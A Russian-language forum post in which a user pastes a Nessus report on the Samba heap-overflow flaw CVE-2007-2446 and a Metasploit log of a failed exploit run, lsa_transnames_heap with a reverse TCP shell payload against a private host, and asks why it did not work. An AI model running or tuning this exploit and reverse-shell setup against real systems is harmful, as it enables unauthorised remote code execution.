Nessus выдал: Code: Synopsis: It is possible to execute code on the remote host through Samba. Description The version of the Samba server installed on the remote host is affected by multiple heap overflow vulnerabilities, which can be exploited remotely to execute code with the privileges of the Samba daemon. Solution Upgrade to Samba version 3.0.25 or later. See Also http://www.samba.org/samba/security/CVE-2007-2446.html Risk Factor: Critical CVSS Base Score 10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C) CVE CVE-2007-2446 BID 23973 24195 24196 24197 24198 Xref OSVDB:34699 OSVDB:34731 OSVDB:34732 OSVDB:34733 Vulnerability Publication Date: 2007/05/14 Patch Publication Date: 2007/07/11 Plugin Publication Date: 2007/05/15 Plugin Last Modification Date: 2011/04/13 Public Exploit Available: True Exploitable With: Canvas (CANVAS), Metasploit (Samba lsa_io_trans_names Heap Overflow) Как я понимаю, найдена уязвимость CVE-2007-2446. Юзаю эксплоит в метаслоите, а сервер не реагирует: Code: msf > use exploit/linux/samba/lsa_transnames_heap msf exploit(lsa_transnames_heap) > set payload generic/shell_reverse_tcp payload => generic/shell_reverse_tcp msf exploit(lsa_transnames_heap) > set LHOST 192.168.0.1 LHOST => 192.168.0.1 msf exploit(lsa_transnames_heap) > set RHOST 192.168.0.100 RHOST => 192.168.0.100 msf exploit(lsa_transnames_heap) > exploit [*] Started reverse handler on 192.168.0.1:4444 [*] Creating nop sled.... [*] Trying to exploit Samba with address 0xffffe410... [*] Connecting to the SMB service... [*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.0.100[\lsarpc] ... [*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.0.100[\lsarpc] ... [*] Calling the vulnerable function... [*] Server did not respond, this is expected [*] Trying to exploit Samba with address 0xffffe411... [*] Connecting to the SMB service... [*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.0.100[\lsarpc] ... [*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.0.100[\lsarpc] ... [*] Calling the vulnerable function... [*] Server did not respond, this is expected [*] Trying to exploit Samba with address 0xffffe412... [*] Connecting to the SMB service... [*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.0.100[\lsarpc] ... [*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.0.100[\lsarpc] ... [*] Calling the vulnerable function... [*] Server did not respond, this is expected [*] Exploit completed, but no session was created. msf exploit(lsa_transnames_heap) >
обновление нужно было запускать вот так: /opt/nessus/sbin/nessus-update-plugins теперь ответьте кто-нибудь на вопрос топика)